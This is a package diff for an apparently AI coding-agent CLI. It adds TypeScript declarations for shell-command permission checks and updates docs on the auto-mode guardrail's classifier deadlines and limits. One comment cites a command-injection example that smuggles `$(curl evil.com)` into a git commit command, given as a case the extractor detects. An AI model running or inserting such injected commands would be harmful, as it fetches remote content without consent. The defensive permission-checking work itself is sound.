@kodax-ai/kodax 0.7.79 → 0.7.80

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (83) hide show
  1. package/CHANGELOG.md +93 -12
  2. package/README.md +31 -8
  3. package/README_CN.md +25 -5
  4. package/config-templates/config.example.jsonc +14 -2
  5. package/dist/chunks/agent-5PHGNFW3.js +2 -0
  6. package/dist/chunks/argument-completer-FXRZFMTC.js +2 -0
  7. package/dist/chunks/{chunk-H5LLM7DB.js → chunk-6UENDY33.js} +2 -2
  8. package/dist/chunks/{chunk-QCZLCLFL.js → chunk-BWX4YZX3.js} +2 -2
  9. package/dist/chunks/{chunk-EDZ4QILG.js → chunk-CDCCTM5I.js} +17 -5
  10. package/dist/chunks/chunk-CEB5FDND.js +810 -0
  11. package/dist/chunks/{chunk-M4N2JZTZ.js → chunk-E7C4DRD2.js} +1 -1
  12. package/dist/chunks/{chunk-GEECPO2H.js → chunk-EVXIJPZ6.js} +66 -66
  13. package/dist/chunks/chunk-FQ7NVMSU.js +319 -0
  14. package/dist/chunks/chunk-GC4JBMBS.js +385 -0
  15. package/dist/chunks/{chunk-67THZRM6.js → chunk-HTVLCHWH.js} +1 -1
  16. package/dist/chunks/chunk-IHPH3444.js +655 -0
  17. package/dist/chunks/{chunk-OWQT3FTE.js → chunk-KHEFUT6O.js} +1 -1
  18. package/dist/chunks/{chunk-BBOVVDQJ.js → chunk-PMKAG4SZ.js} +1 -1
  19. package/dist/chunks/chunk-RPF5RGWZ.js +479 -0
  20. package/dist/chunks/{chunk-CXHEZY5G.js → chunk-RXXKDR6Y.js} +1 -1
  21. package/dist/chunks/{chunk-6GVQDQTQ.js → chunk-T5U4OP2N.js} +1 -1
  22. package/dist/chunks/{chunk-SG6P4SZS.js → chunk-TRNAWSXP.js} +21 -21
  23. package/dist/chunks/{chunk-CR2IF7VF.js → chunk-UZSHBQER.js} +5 -5
  24. package/dist/chunks/{chunk-B6UY3VHV.js → chunk-VECRQTSD.js} +44 -44
  25. package/dist/chunks/compaction-config-6J6XCBJS.js +2 -0
  26. package/dist/chunks/{construction-bootstrap-K3ZGEN5N.js → construction-bootstrap-KPCAE3VN.js} +1 -1
  27. package/dist/chunks/dist-RWEVZOFK.js +2 -0
  28. package/dist/chunks/{dist-JMO47GJV.js → dist-WWL2DNIJ.js} +1 -1
  29. package/dist/chunks/host-OGS2R5J4.js +2 -0
  30. package/dist/chunks/run-manager-2YMM3BOT.js +2 -0
  31. package/dist/chunks/{utils-6LEKJPQN.js → utils-2YHRUZYC.js} +1 -1
  32. package/dist/index.d.ts +13 -12
  33. package/dist/index.js +4 -4
  34. package/dist/kodax_bootstrap.js +1 -1
  35. package/dist/kodax_cli.js +1301 -1285
  36. package/dist/kodax_resume.js +63 -63
  37. package/dist/runtime-worker.js +1205 -1189
  38. package/dist/sandbox-workspace-session.js +43 -43
  39. package/dist/sdk-a2a.d.ts +8 -8
  40. package/dist/sdk-a2a.js +1 -1
  41. package/dist/sdk-agent.d.ts +15 -17
  42. package/dist/sdk-agent.js +1 -1
  43. package/dist/sdk-coding.d.ts +171 -20
  44. package/dist/sdk-coding.js +1 -1
  45. package/dist/sdk-experimental-memory.js +1 -1
  46. package/dist/sdk-llm.js +1 -1
  47. package/dist/sdk-mcp.js +1 -1
  48. package/dist/sdk-media.js +1 -1
  49. package/dist/sdk-repl.d.ts +19 -200
  50. package/dist/sdk-repl.js +2 -2
  51. package/dist/sdk-runtime.d.ts +11 -8
  52. package/dist/sdk-runtime.js +1 -1
  53. package/dist/sdk-sandbox.js +1 -1
  54. package/dist/sdk-session.d.ts +4 -4
  55. package/dist/sdk-session.js +1 -1
  56. package/dist/sdk-skills.js +1 -1
  57. package/dist/semantic-worker.js +44 -44
  58. package/dist/types-chunks/{bash-prefix-extractor.d-CNSidpmv.d.ts → bash-prefix-extractor.d-DStqKIlu.d.ts} +4 -2
  59. package/dist/types-chunks/{capsule.d-B3q98pLQ.d.ts → capsule.d-BuFJaYxA.d.ts} +6 -15
  60. package/dist/types-chunks/{controller.d-RGV7Pjv9.d.ts → controller.d-C2aHqzHj.d.ts} +18 -10
  61. package/dist/types-chunks/{guardrail.d-1NLSFTyN.d.ts → guardrail.d-DM-OK0m3.d.ts} +74 -77
  62. package/dist/types-chunks/{history-retrieval.d-BAegI14A.d.ts → history-retrieval.d-DImTKgO6.d.ts} +1 -1
  63. package/dist/types-chunks/{public-api.d-BpJhHoa7.d.ts → public-api.d-CewTvUKV.d.ts} +5 -17
  64. package/dist/types-chunks/{repl.d-CZ12Ow3X.d.ts → repl.d-DvXQtgr7.d.ts} +5 -5
  65. package/dist/types-chunks/{run-manager.d-CX3AUocA.d.ts → run-manager.d-C6ahvZqK.d.ts} +1 -1
  66. package/dist/types-chunks/{sdk-session-B3cfJKqF.d.ts → sdk-session-C59RUrri.d.ts} +2 -2
  67. package/dist/types-chunks/shell-command-sets.d-Dp4UvPLL.d.ts +297 -0
  68. package/dist/types-chunks/{types.d-BZ9oXvTV.d.ts → types.d-BzpPDBPV.d.ts} +1 -1
  69. package/dist/types-chunks/{types.d-C0_rn--1.d.ts → types.d-yuJzE82x.d.ts} +2 -2
  70. package/dist/types-chunks/{utils.d-CGpHavsU.d.ts → utils.d-BpACJmzt.d.ts} +15 -5
  71. package/docs/SDK_EMBEDDER_GUIDE.md +36 -32
  72. package/package.json +3 -3
  73. package/dist/chunks/agent-V4AC5JZD.js +0 -2
  74. package/dist/chunks/argument-completer-ZPC2MLES.js +0 -2
  75. package/dist/chunks/chunk-KLWP7POA.js +0 -467
  76. package/dist/chunks/chunk-Q4M7DJOD.js +0 -319
  77. package/dist/chunks/chunk-RQPMGRTR.js +0 -810
  78. package/dist/chunks/chunk-TSTVAU5E.js +0 -386
  79. package/dist/chunks/chunk-ZCZZUE5E.js +0 -662
  80. package/dist/chunks/compaction-config-AEUGVROL.js +0 -2
  81. package/dist/chunks/dist-GFJFRPAV.js +0 -2
  82. package/dist/chunks/host-23K2Q6RZ.js +0 -2
  83. package/dist/chunks/run-manager-PGIR6ITA.js +0 -2
@@ -0,0 +1,297 @@
1
+ import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-DStqKIlu.js';
2
+
3
+ /**
4
+ * Permission Utilities
5
+ *
6
+ * 权限工具函数 - 模式解析、匹配、路径检查
7
+ *
8
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
9
+ * - "Bash(npm install)" - exact command match
10
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
11
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
12
+ *
13
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
14
+ */
15
+
16
+ type PermissionMode = 'plan' | 'accept-edits' | 'auto' | 'auto-in-project';
17
+ /** Return the subcommand position after validated Git global options. */
18
+ declare function findGitSubcommandIndex(argv: readonly string[]): number | undefined;
19
+ /** True when a Git inspection may invoke a configured signature helper. */
20
+ declare function gitSignatureInspectionMayExecute(subcommand: string | undefined, args: readonly string[]): boolean;
21
+ interface GitGrepShortOption {
22
+ readonly pager: boolean;
23
+ readonly valueKind?: 'pattern' | 'pattern-file' | 'other';
24
+ readonly attachedValue?: string;
25
+ readonly consumesNext: boolean;
26
+ }
27
+ /** Parse Git grep's clusterable short options until an option consumes the remainder. */
28
+ declare function parseGitGrepShortOption(token: string): GitGrepShortOption;
29
+ /** Validate one already-tokenized shell pipeline stage as read-only. */
30
+ declare function isShellReadOnlyArgv(argv: readonly string[]): boolean;
31
+ /**
32
+ * FEATURE_154 — universal `--help` fast-path (parity with Claude Code
33
+ * `commands.ts:isHelpCommand` at [commands.ts:388-436]).
34
+ *
35
+ * Returns `true` for commands of the shape `[CMD [SUBCMD ...]] --help` where
36
+ * every non-flag token is a simple alphanumeric identifier and `--help` is
37
+ * the only flag. These commands are unconditionally safe (programs print
38
+ * help and exit), so they fast-path past the LLM classifier (FEATURE_092)
39
+ * and the safe-read whitelist.
40
+ *
41
+ * Why: KodaX's auto-mode classifier costs an LLM call per tool invocation.
42
+ * Paying token cost on every `kubectl --help` / `docker --help` etc. is
43
+ * waste. Pre-FEATURE_154, KodaX only fast-pathed `--help` for ~12 language
44
+ * toolchains (`npm` / `tsc` / `go` / etc.) via the `languageTools` carve-out
45
+ * in `isSingleBashReadCommand`; this generalises to any command name.
46
+ *
47
+ * Strict by design (matches CC):
48
+ * - Must end with `--help` (after trim)
49
+ * - Must NOT contain `'` or `"` (could hide injection behind alphanumerics)
50
+ * - Must contain `--help` exactly; any other flag (`-c`, `--version`, etc.) → false
51
+ * - Every non-flag token must match `/^[a-zA-Z0-9]+$/` (rejects paths,
52
+ * versioned files, env vars, shell metacharacters)
53
+ *
54
+ * Slightly stricter than CC on `$VAR` (CC's shell-quote tokenizer represents
55
+ * env-substitutions as object tokens that the loop skips, effectively
56
+ * letting them pass; KodaX's simple split sees them as strings and rejects.
57
+ * The stricter behavior is a deliberate safety choice.).
58
+ */
59
+ declare function isHelpCommand(command: string): boolean;
60
+ /**
61
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
62
+ *
63
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
64
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
65
+ * - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
66
+ * - pipeline stages split on `|` (every stage must be a safe-read command),
67
+ * - per-stage redirections (input redirects rejected; output redirects only
68
+ * allowed when the target is a null device, which discards output rather
69
+ * than writing — preserves Issue 129 behavior),
70
+ * - `unparseable: true` for inputs we can't model (heredocs, command
71
+ * substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
72
+ * `false` so unmodeled syntax always falls through to confirmation.
73
+ *
74
+ * Per-stage syntactic checks use `isShellReadOnlyArgv` so quoted tokens do not
75
+ * need to be joined and parsed a second time.
76
+ *
77
+ * @param command - bash command string
78
+ * @returns true if the command is a safe read operation
79
+ */
80
+ declare function isBashReadCommand(command: string): boolean;
81
+ declare function getDirectShellBypassBlockReason(command: string): string | null;
82
+ /**
83
+ * Check if a bash command is a write operation.
84
+ *
85
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
86
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
87
+ * classes of false positives the regex chain had:
88
+ * 1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
89
+ * `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
90
+ * blacklist of pre-compiled regexes. The strip was fragile — any
91
+ * future fd-redirect form would re-introduce the false positive.
92
+ * Now redirections are structured tokens with a `target` field;
93
+ * `isNullDevice(target)` is the single source of truth.
94
+ * 2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
95
+ * matched `set-content` even when it appeared inside a quoted string
96
+ * argument or inside a path. AST argv tokens are post-quote-stripping
97
+ * so PowerShell verb checks compare against actual command names.
98
+ *
99
+ * Detection rules (per-stage):
100
+ * - argv[0] OR argv[0..1] (joined with space) matches any entry in
101
+ * `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
102
+ * - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
103
+ * appear inline, not just at stage start, due to PowerShell pipeline
104
+ * conventions — `ls | Set-Content foo` puts the verb at argv[0] of
105
+ * stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
106
+ * stage 1; we cover both with a token-anywhere check).
107
+ * - any non-input redirection whose target is NOT a null device.
108
+ *
109
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
110
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
111
+ * didn't match anything in the regex blacklist either. Plan-mode and
112
+ * auto-mode handle the unparseable case via separate confirmation paths.
113
+ *
114
+ * @param command - bash command string
115
+ * @returns true if the command is a write operation
116
+ */
117
+ declare function isBashWriteCommand(command: string): boolean;
118
+ /**
119
+ * Parse allowed tool pattern - 解析允许的工具模式
120
+ *
121
+ * Formats:
122
+ * - "read" -> { tool: "read", pattern: null }
123
+ * - "Edit(*)" -> { tool: "Edit", pattern: "*" }
124
+ * - "Bash(npm install)" -> { tool: "Bash", pattern: "npm install" }
125
+ * - "Bash(git commit:*)" -> { tool: "Bash", pattern: "git commit:*" }
126
+ */
127
+ declare function parseAllowedToolPattern(entry: string): {
128
+ tool: string;
129
+ pattern: string | null;
130
+ };
131
+ /**
132
+ * Check if a tool call is allowed by the user's allowlist patterns.
133
+ *
134
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
135
+ * routed through the LLM-backed prefix extractor, which:
136
+ * - Returns the SAFE PREFIX of the command (e.g. `git commit` for
137
+ * `git commit -m "msg"`)
138
+ * - Returns `injection_detected` for inputs containing command injection
139
+ * (`git commit -m "x" $(curl evil.com)`)
140
+ * - Returns `no_prefix` when no safe prefix can be determined
141
+ * Patterns then match against the extracted prefix exactly. This eliminates
142
+ * the pre-FEATURE_153 startsWith-based injection surface.
143
+ *
144
+ * When `extractor` is NOT supplied, falls back to the legacy
145
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
146
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
147
+ * production; the legacy branch exists for tests and headless SDK consumers
148
+ * without LLM access.
149
+ *
150
+ * Note: Only Bash tool is supported for pattern matching.
151
+ *
152
+ * @param toolName — tool name (only "bash" / "Bash" matched)
153
+ * @param input — tool call input; reads `input.command`
154
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
155
+ * `~/.kodax/config.json` `alwaysAllowTools`
156
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
157
+ * @param signal — optional abort signal forwarded to the extractor
158
+ */
159
+ declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
160
+ /**
161
+ * Generate pattern string for saving
162
+ */
163
+ declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
164
+ /**
165
+ * Check if target path requires always-confirm (permanent protection zones)
166
+ *
167
+ * Protected zones (always require confirmation, regardless of mode):
168
+ * - .kodax/ project config directory
169
+ * - ~/.kodax/ user config directory
170
+ * - Paths outside the project root AND outside the system temp directory
171
+ *
172
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
173
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
174
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
175
+ * already explicitly permit system-temp writes, so accept-edits and
176
+ * auto-in-project should not be stricter than plan mode on this dimension.
177
+ */
178
+ declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
179
+ /**
180
+ * Pre-AST regex-based path scanner. Retained as a complementary pass
181
+ * because shell-quote's POSIX tokenisation eats Windows backslash escapes:
182
+ * `rm C:\Users\foo\bar.txt` → AST argv is `['rm', 'C:Users', 'oo\bar.txt']`
183
+ * (the `\U`, `\f`, `\b` are POSIX-escape-stripped).
184
+ * The regex sees raw input and recognises `C:\foo`-style paths as one
185
+ * coherent token, which is what callers (`isCommandOnProtectedPath`,
186
+ * `collectBashWriteTargets`) actually need to make path-safety decisions.
187
+ *
188
+ * Pre-AST regex was the entire impl; here it's a Windows-path safety net
189
+ * layered ON TOP of the AST argv pass. Tokens recognised by both are
190
+ * de-duped at the `Set` level by the caller.
191
+ */
192
+ interface RawCommandWord {
193
+ readonly value: string;
194
+ readonly start: number;
195
+ readonly end: number;
196
+ }
197
+ declare function tokenizeRawCommandStages(command: string): readonly RawCommandWord[][];
198
+ /**
199
+ * Extract potential file paths from a bash command. Used to check whether
200
+ * a bash invocation operates on protected paths (`isCommandOnProtectedPath`)
201
+ * and as a "wide net" feeder into `collectBashWriteTargets`.
202
+ *
203
+ * FEATURE_152 (v0.7.38): hybrid AST + legacy-regex pass:
204
+ * 1. AST tokenisation for argv — gives correctly unquoted paths,
205
+ * including paths with spaces (`"path with spaces.txt"`). Pre-AST
206
+ * regex needed quotes literally present in input.
207
+ * 2. Legacy regex pass for Windows backslash paths — shell-quote treats
208
+ * `\` as POSIX escape so `C:\Users\foo` mangles into `C:Users`.
209
+ * The regex recognises the raw Windows path token before tokenisation.
210
+ *
211
+ * Both passes contribute; results de-duplicate via `Set` at the call site.
212
+ *
213
+ * Issue 052: original purpose — gate "always allow" on bash commands that
214
+ * touch protected paths.
215
+ */
216
+ declare function extractPathsFromCommand(command: string): string[];
217
+ /**
218
+ * Check if a bash command operates on any protected paths
219
+ * Issue 052: Prevent "always" option for bash commands on protected paths
220
+ */
221
+ declare function isCommandOnProtectedPath(command: string, projectRoot: string, executionCwd?: string): boolean;
222
+ /**
223
+ * Check whether a path stays inside the project root after resolution.
224
+ */
225
+ declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
226
+ declare function getPlanModeAllowedWritablePaths(projectRoot?: string): {
227
+ projectPlanDoc: string;
228
+ systemTempDirs: string[];
229
+ };
230
+ declare function isPlanModeAllowedPath(targetPath: string, projectRoot?: string, executionCwd?: string | undefined): boolean;
231
+ /**
232
+ * Collect the file targets that a bash command might write to. Used by
233
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
234
+ *
235
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
236
+ * version concatenated four overlapping regex sweeps over the raw command
237
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
238
+ * matched as substring in `committee.txt`). The AST gives clean argv
239
+ * tokens with quoting stripped, and per-stage redirection targets.
240
+ */
241
+ declare function collectBashWriteTargets(command: string): string[];
242
+ /** Parsed targets whose command role itself proves they are mutated. */
243
+ declare function collectDeterministicBashWriteTargets(command: string): string[];
244
+ declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
245
+ dangerous: boolean;
246
+ reason?: string;
247
+ };
248
+ /**
249
+ * v0.7.42 — Metadata-driven plan-mode gate.
250
+ *
251
+ * Decision order (first match wins):
252
+ *
253
+ * 1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
254
+ * permitted (`null`). Covers planning-loop tools whose effect IS the
255
+ * planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
256
+ * `ask_user_question`, plus read-class network queries
257
+ * (`web_search`, `mcp_search` / `mcp_describe` /
258
+ * `mcp_read_resource` / `mcp_get_prompt`).
259
+ * 2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
260
+ * permitted (`null`). Read tools never need plan-mode gating.
261
+ * 3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
262
+ * (computed from `sideEffect === 'mutates-fs' AND requires path`)
263
+ * can write IF the target path is `.agent/plan_mode_doc.md` or the
264
+ * system temp dir.
265
+ * 4. `bash` special case: command-content-aware check via
266
+ * `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
267
+ * (`git status`, `ls`, …) is permitted; write bash with all targets
268
+ * in the plan-doc / temp escape is permitted; everything else
269
+ * blocks.
270
+ * 5. Everything else with a side effect → blocked with a generic
271
+ * reason naming the side-effect class.
272
+ *
273
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
274
+ * a hardcoded 4-tool list that silently let `multi_edit`,
275
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
276
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
277
+ * fall through to `return null` (permitted). The metadata-driven gate
278
+ * closes that gap structurally — new mutating tools auto-block until
279
+ * explicitly opted in via `planModeAllowed: true`.
280
+ */
281
+ declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string, executionCwd?: string | undefined): string | null;
282
+ /**
283
+ * Infer PermissionMode from legacy options (backward compat)
284
+ */
285
+ declare function inferPermissionMode(opts: {
286
+ auto?: boolean;
287
+ mode?: 'code' | 'ask';
288
+ confirmTools?: Set<string>;
289
+ }): PermissionMode;
290
+
291
+ declare const FILE_MODIFICATION_TOOLS: Set<string>;
292
+ declare const MODIFICATION_TOOLS: Set<string>;
293
+ declare const BASH_WRITE_COMMANDS: Set<string>;
294
+ declare const BASH_SAFE_READ_COMMANDS: Set<string>;
295
+
296
+ export { BASH_SAFE_READ_COMMANDS as B, FILE_MODIFICATION_TOOLS as F, MODIFICATION_TOOLS as M, BASH_WRITE_COMMANDS as a, collectDeterministicBashWriteTargets as b, collectBashWriteTargets as c, getBashOutsideProjectWriteRisk as d, extractPathsFromCommand as e, findGitSubcommandIndex as f, generateSavePattern as g, getDirectShellBypassBlockReason as h, getPlanModeAllowedWritablePaths as i, getPlanModeBlockReason as j, gitSignatureInspectionMayExecute as k, inferPermissionMode as l, isAlwaysConfirmPath as m, isBashReadCommand as n, isBashWriteCommand as o, isCommandOnProtectedPath as p, isHelpCommand as q, isPathInsideProject as r, isPlanModeAllowedPath as s, isShellReadOnlyArgv as t, isToolCallAllowed as u, parseAllowedToolPattern as v, parseGitGrepShortOption as w, tokenizeRawCommandStages as x };
297
+ export type { GitGrepShortOption as G, PermissionMode as P, RawCommandWord as R };
@@ -1,4 +1,4 @@
1
- import { bM as KodaXInputArtifact } from './controller.d-RGV7Pjv9.js';
1
+ import { bM as KodaXInputArtifact } from './controller.d-C2aHqzHj.js';
2
2
  import { T as KodaXTaskResultMetadata } from './types.d-CgrXrFrq.js';
3
3
 
4
4
  /**
@@ -1,8 +1,8 @@
1
1
  import { aa as KodaXWireReasoningEffort, a2 as KodaXToolDefinition, a4 as KodaXToolResultContentItem, k as KodaXMessage } from './types.d-CgrXrFrq.js';
2
2
  import { K as KodaXBaseProvider } from './base.d-DxG0m09Z.js';
3
3
  import { C as CapabilityKind, a as CapabilityProvider } from './capability.d-K664nHOS.js';
4
- import { bO as KodaXJsonValue, bC as KodaXExtensionSessionRecord, bE as KodaXExtensionStore } from './controller.d-RGV7Pjv9.js';
5
- import { aQ as KodaXToolExecutionContext, by as ToolSideEffect } from './bash-prefix-extractor.d-CNSidpmv.js';
4
+ import { bO as KodaXJsonValue, bC as KodaXExtensionSessionRecord, bE as KodaXExtensionStore } from './controller.d-C2aHqzHj.js';
5
+ import { aQ as KodaXToolExecutionContext, by as ToolSideEffect } from './bash-prefix-extractor.d-DStqKIlu.js';
6
6
 
7
7
  /**
8
8
  * KodaX Constructed-World types (FEATURE_087, v0.7.28).
@@ -1,9 +1,9 @@
1
1
  import { k as KodaXMessage, G as KodaXReasoningMode, d as KodaXCustomProviderConfig, q as KodaXProviderCapabilityProfile } from './types.d-CgrXrFrq.js';
2
- import { cc as KodaXSessionUiHistoryItem, c1 as KodaXSessionLineage, bU as KodaXSessionArtifactLedgerEntry, bD as KodaXExtensionSessionState, bC as KodaXExtensionSessionRecord, c8 as KodaXSessionRuntimeInfo, fb as WorkflowProcessSource } from './controller.d-RGV7Pjv9.js';
3
- import { O as KodaXContextTokenSnapshot, at as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, au as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-CNSidpmv.js';
4
- import { d as AgentsFile, s as AutoModeStats, R as KodaXMcpServersConfig } from './guardrail.d-1NLSFTyN.js';
2
+ import { cc as KodaXSessionUiHistoryItem, c1 as KodaXSessionLineage, bU as KodaXSessionArtifactLedgerEntry, bD as KodaXExtensionSessionState, bC as KodaXExtensionSessionRecord, c8 as KodaXSessionRuntimeInfo, fc as WorkflowProcessSource } from './controller.d-C2aHqzHj.js';
3
+ import { O as KodaXContextTokenSnapshot, at as KodaXSkillDynamicContextPolicy, t as KodaXAgentMode, a8 as KodaXRepoIntelligenceMode, a1 as KodaXOptions, au as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-DStqKIlu.js';
4
+ import { d as AgentsFile, s as AutoModeStats, S as KodaXMcpServersConfig } from './guardrail.d-DM-OK0m3.js';
5
5
  import * as readline from 'readline';
6
- import { T as PermissionMode, L as LearningBinding, J as LearningSurfaceSnapshot } from './public-api.d-BpJhHoa7.js';
6
+ import { S as PermissionMode, L as LearningBinding, G as LearningSurfaceSnapshot } from './public-api.d-CewTvUKV.js';
7
7
  import { SpawnSyncReturns } from 'child_process';
8
8
 
9
9
  /**
@@ -41,7 +41,7 @@ interface AutoModeSettings {
41
41
  * inherits from the main session). Feeds layer 4 of `resolveClassifierModel`.
42
42
  */
43
43
  classifierModel?: string;
44
- /** sideQuery timeout in ms. Default 30_000. */
44
+ /** Explicit per-attempt timeout. Omit for the 45_000/90_000 classifier defaults. */
45
45
  timeoutMs?: number;
46
46
  /**
47
47
  * Issue 143 (WS3): speculative-classify quiet window in ms. Default 500.
@@ -599,6 +599,16 @@ declare function loadConfig(): {
599
599
  sandbox?: {
600
600
  envPass?: string[];
601
601
  };
602
+ /**
603
+ * Worker-hosted embedded Runtime options. `configuredA2A` lets a
604
+ * Worker-hosted embedded Runtime load and reconcile
605
+ * `<homeDir>/.kodax/integrations/a2a.json` inside the Worker owner,
606
+ * installing the full list/describe/preflight and external Actor dispatch
607
+ * surface so configured A2A Agents appear as `external:<name>`.
608
+ */
609
+ worker?: {
610
+ configuredA2A?: boolean;
611
+ };
602
612
  };
603
613
  /**
604
614
  * F1 — first-launch onboarding. config.json must be STRICT JSON (no comments), so we
@@ -3062,8 +3062,8 @@ fields requires a protocol version bump.
3062
3062
  ### v0.7.69 Runtime verification record
3063
3063
 
3064
3064
  This subsection is the historical verification record for the original shared
3065
- Runtime delivery. Current 0.7.79 candidate gates and evidence live in
3066
- [`docs/release.md`](release.md#v0779-release-preparation).
3065
+ Runtime delivery. Current 0.7.80 release gates and evidence live in
3066
+ [`docs/release.md`](release.md#v0780-release-preparation).
3067
3067
 
3068
3068
  The v0.7.69 release validation covers the runtime migration, the Worker
3069
3069
  isolation follow-ups delivered ahead of their original v0.7.71/v0.7.72
@@ -4788,16 +4788,20 @@ The Runtime's execution order is fixed:
4788
4788
  Runtime Auto Mode guardrail -> host permission bridge only for escalate -> tool execution
4789
4789
  ```
4790
4790
 
4791
- Exactly modeled ordinary reads and workspace/system-temp mutations are admitted
4792
- before classifier latency, independent of sandbox readiness. Other calls are
4793
- reviewed against the latest genuine user request, bounded user-only intent
4794
- evidence, and exact operation facts. Consequently, an LLM/rules `allow` does
4791
+ Exactly modeled ordinary reads and workspace/system-temp mutations are admitted
4792
+ before classifier latency, independent of sandbox readiness. Other calls are
4793
+ reviewed against the latest genuine user request, bounded user-only intent
4794
+ evidence, and exact operation facts. Consequently, an LLM/rules `allow` does
4795
4795
  not create a pending permission request just because a host installed a static
4796
4796
  approval hook. Classifier concerns, critical deterministic matches, and rules
4797
4797
  concerns use the existing shared
4798
4798
  `runtime.permissions` flow, so another authorized client may render and answer
4799
- it. Hosts should subscribe to permission events to display such a request, but
4800
- must not treat a missing request as an error for a safe tool call.
4799
+ it. Hosts should subscribe to permission events to display such a request, but
4800
+ must not treat a missing request as an error for a safe tool call.
4801
+
4802
+ Direct guardrail embedders should supply `projectRoot` or `executionCwd` for
4803
+ path-bearing calls. If both are absent, KodaX keeps those targets unresolved
4804
+ instead of treating the host process cwd as the user's workspace.
4801
4805
 
4802
4806
  On PowerShell, deterministic read admission includes independently validated
4803
4807
  sequential/pipeline stages such as `where.exe`, ordinary `rg` inspection,
@@ -4813,30 +4817,30 @@ Authenticated child constraints are checked before deterministic admission:
4813
4817
  for example, `Do not execute shell commands` keeps even a read-only shell call
4814
4818
  under review, while `Do not modify files` does not make an ordinary read ask.
4815
4819
 
4816
- The classifier deadline is 30 seconds by default and includes connection
4817
- setup, provider Retry-After/backoff, inference, and stream completion. KodaX
4818
- retries one timeout/provider/response-contract failure once; a second failure
4819
- uses the Accept-edits safety boundary and never switches to Auto[rules].
4820
- KodaX does not solve timeouts by extending that deadline indefinitely. Before the
4821
- provider call it removes assistant prose/thinking and image paths, limits each
4822
- tool result to 2 KiB and the serialized permission-relevant transcript to
4823
- 8 KiB, then enforces 16 KiB action and 32 KiB total-prompt ceilings plus a
4824
- 256-token output cap. An oversized action or prompt escalates without a
4825
- provider call; it is never truncated into an automatic allow. These limits are
4826
- owned by `classify()` itself, so custom callers cannot accidentally bypass the
4827
- session-history boundary.
4828
-
4829
- Deterministic read admission treats wildcard-bearing path operands as
4830
- unresolved when they could expand to protected data. Explicit PowerShell
4831
- `-LiteralPath` remains literal. Positive broad search selectors (including
4832
- structured `grep`/`glob`, ripgrep/GNU-grep filters, and custom ripgrep types),
4833
- PowerShell path arrays/enumeration pipelines, indirect file lists, and dynamic
4834
- Git pathspecs or expanded `git grep --no-index`/`--untracked` scopes remain
4835
- LLM-reviewed because a lexical root cannot prove which files will be read. The
4836
- same applies to implicit/directory content searches, including a structured
4837
- `grep` call whose omitted path defaults to the workspace and GNU-grep
4838
- `-d recurse`/`--directories=recurse`, and to unscoped Git patch output. Git
4839
- line-log `-L` paths, patch-enabling short-option clusters, and merge-diff modes
4820
+ The classifier deadline is 45 seconds for the first default attempt and 90
4821
+ seconds for its one retry. A configured `timeoutMs` overrides both attempts
4822
+ with the same explicit deadline. Each deadline includes connection setup,
4823
+ provider Retry-After/backoff, inference, and stream completion. A second
4824
+ timeout/provider/response-contract failure uses the Accept-edits safety
4825
+ boundary and never switches to Auto[rules]. Before the
4826
+ provider call it removes assistant prose/thinking and image paths, limits each
4827
+ tool result to 2 KiB and the serialized permission-relevant transcript to
4828
+ 8 KiB, then enforces 16 KiB action and 32 KiB total-prompt ceilings plus a
4829
+ 256-token first-attempt output cap. If that answer is truncated before a
4830
+ decision, the retry uses 1024 tokens instead of repeating the same impossible
4831
